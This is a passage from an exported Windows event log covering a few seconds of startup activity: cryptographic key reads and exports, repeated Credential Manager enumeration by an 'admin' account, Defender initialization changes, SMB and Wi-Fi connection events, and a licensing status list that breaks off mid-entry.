08:29:03.811\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\t8aa0580351688ef0\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\WINDOWS\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\59f36b963030275e362572ca6929e329_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.811\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\t8aa0580351688ef0\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.812\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\t8aa0580351688ef0\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.817\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\t67f81be80651088b\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\WINDOWS\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\e3c1979771f00a27e89a2c7cfb43c0fc_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.818\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\t67f81be80651088b\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.819\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\t67f81be80651088b\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.876\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = PostPlatformUpdate\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = RegistringUxToastLibrary\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:03.899\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.903\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.903\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.906\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.907\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:29:03.908\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:03.911\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.932\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.933\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.977\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.977\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.977\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.060\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.063\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.064\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.067\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.070\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:04.071\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.102\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.103\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.135\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.135\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.135\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.180\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:04.186\t1002\tError 0x80070005 occurred while verifying known folder {b4bfcc3a-db2c-424c-b029-7fe99a87c641} with path 'C:\\Users\\admin\\Desktop'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:04.192\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.195\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.195\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.197\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.199\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:04.200\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.217\t1002\tError 0x80070005 occurred while verifying known folder {5e6c858f-0e22-4760-9afe-ea3317b67173} with path 'C:\\Users\\admin'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:04.257\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.258\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.297\t2415\tAn application was unregistered with the following parameters: Windows.Defender.MpUxDlp [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:04.320\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u0411\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0430\u044f \u0441\u0435\u0442\u044c\nInterfaceIndex: 0x7\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:04.320\t1040\tReceived Mib notification type MibAddInstance for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.320\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 7. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.346\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.347\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.347\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.521\t27\tConnection state - All connections have succeeded since the previous period.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:04.829\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = RegistringUxToastLibrary\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = LoadingEngine\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:04.928\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u0411\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0430\u044f \u0441\u0435\u0442\u044c\nInterfaceIndex: 0x7\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:04.928\t1040\tReceived Mib notification type MibAddInstance for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.928\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 7. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.929\t8000\t\"WLAN AutoConfig service started a connection to a wireless network.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nConnection Mode: \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u044f\nProfile Name: HUAWEI_HG8245_WiFi\nSSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:04.946\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438* 9\nInterfaceIndex: 0x9\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:04.946\t1003\t\"The Software Protection service has completed licensing status check.\nApplication Id=55c92734-d682-4d71-983e-d6ec3f16059f\nLicensing Status=\n1: 01eb852c-424d-4060-94b8-c10d799d7364, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n2: 040fa323-92b1-4baf-97a2-5b67feaefddb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 0724cb7d-3437-4cb7-93cb-830375d0079d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 0ad2ac98-7bb9-4201-8d92-312299201369, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 19de9b2f-0166-4abb-9534-56ea69a80edb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 1a9a717a-cf13-4ba5-83c3-0fe25fa868d5, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 221a02da-e2a1-4b75-864c-0a4410a33fdf, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 265f3fad-6a1c-4bdd-ae30-c75efa556ccb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 291ece0e-9c38-40ca-a9e1-32cc7ec19507, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 2936d1d2-913a-4542-b54e-ce5a602a2a38, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: 2c293c26-a45a-4a2a-a350-c69a67097529, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: 2de67392-b7a7-462a-b1ca-108dd189f588, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: 2ffd8952-423e-4903-b993-72a1aa44cf82, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: 30a42c86-b7a0-4a34-8c90-ff177cb2acb7, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: 3502365a-f88a-4ba4-822a-5769d3073b65, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n17: 377333b1-8b5d-48d6-9679-1225c872d37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n18: 3df374ef-d444-4494-a5a1-4b0d9fd0e203, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n19: 3ebce241-ea87-4946-8a4f-80d00e921dff, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n20: 